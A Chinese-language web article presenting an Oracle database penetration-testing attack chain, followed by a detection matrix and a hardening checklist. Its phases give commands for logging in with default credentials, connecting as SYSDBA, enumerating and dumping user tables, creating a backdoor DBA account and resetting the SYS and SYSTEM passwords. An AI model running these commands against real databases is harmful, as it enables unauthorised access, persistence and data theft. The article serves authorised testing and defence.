首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle 資料庫滲透測試實戰命令手冊:從連線到資料竊取完整攻擊鏈

     編輯:Oracle 資料庫基礎

⚠️ 法律聲明:授權測試專用

本文僅供授權滲透測試、安全審計與防禦研究使用。未經書面授權對目標系統進行任何掃描、連線、資料存取均屬違法。

攻擊鏈階段與核心命令

階段 1:取得作業系統層存取


# 切換至 oracle 用戶(無需 DBA 密碼)
su - oracle

階段 2:連線資料庫實例


# 多種連線方式
sqlplus /nolog
sqlplus system/manager
sqlplus system/manager@ora9i
./sqlplus system/manager@ora9i

階段 3:提權至 SYSDBA


SQL> CONNECT / AS SYSDBA;
-- 或
CONNECT INTERNAL/oracle AS SYSDBA;
CONN SYS/CHANGE_ON_INSTALL AS SYSDBA;

階段 4:啟動實例(若已關閉)


SQL> STARTUP;

階段 5:資訊偵察


-- 查看資料庫資訊
SELECT * FROM V$DATABASE;
SELECT NAME FROM V$DATABASE;

-- 查看實例資訊
SELECT * FROM V$INSTANCE;

-- 查看擁有 SYSDBA/SYSOPER 的用戶
SELECT * FROM V_$PWFILE_USERS;

-- 確認當前連線用戶
SHOW USER;

階段 6:切換目標資料庫/Schema


-- Oracle 無 USE DATABASE 語法,透過 ALTER SESSION 切換 Schema
ALTER SESSION SET CURRENT_SCHEMA = target_schema;

階段 7:枚舉表結構與資料


-- 列出所有可存取表
SELECT TABLE_NAME FROM ALL_TABLES;
SELECT * FROM ALL_TABLES;
SELECT TABLE_NAME FROM ALL_TABLES WHERE TABLE_NAME LIKE '%USER%';

-- 查看表結構
DESC ALL_TABLES;
DESC CQI.T_BBS_XUSER;

-- 導出目標表資料
SELECT * FROM CQI.T_BBS_XUSER;

階段 8:建立後門帳號與提權


-- 建立用戶
CREATE USER test11 IDENTIFIED BY test 
  DEFAULT TABLESPACE USERS 
  TEMPORARY TABLESPACE TEMP;

-- 授予高權限
GRANT CONNECT, RESOURCE, DBA TO test11;
GRANT SYSDBA TO test11;
COMMIT;

階段 9:竄改核心帳號密碼


ALTER USER SYS IDENTIFIED BY test;
ALTER USER SYSTEM IDENTIFIED BY test;

防禦檢測矩陣

攻擊動作日誌來源檢測規則緩解措施
SU 切換 oracle 用戶OS Secure Log非預期用戶切換告警限制 su 許可群組、強制 MFA
SQL*Plus 連線Listener Log、Audit Trail非常用 IP/時間/用戶連線網路分段、IP 白名單、審計啟用
SYSDBA 連線Audit Trail (SYS_OPERATIONS)非維護窗口 SYSDBA 連線嚴控 SYS 密碼、密碼檔管理
建立 DBA 用戶Audit Trail (DDL)CREATE USER + GRANT DBA審計 DDL、定期複核 DBA 群組
修改 SYS/SYSTEM 密碼Audit TrailALTER USER SYS/SYSTEM禁止遠端修改、雙人授權

安全加固清單

  1. 啟用 Unified Auditing (12c+) 或標準審計 AUDIT_TRAIL=DB,EXTENDED
  2. 強制密碼複雜度與定期輪換 PASSWORD_VERIFY_FUNCTION
  3. 禁用預設帳號、鎖定非必要帳號
  4. 網路層:防火牆限制 1521 埠、啟用 Oracle Connection Manager
  5. 加密傳輸:配置 SQLNET.ENCRYPTION_SERVER=REQUIRED
  6. 最小權限原則:應用帳號僅授予必要物件權限
  7. 定期滲透測試與紅隊演練
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved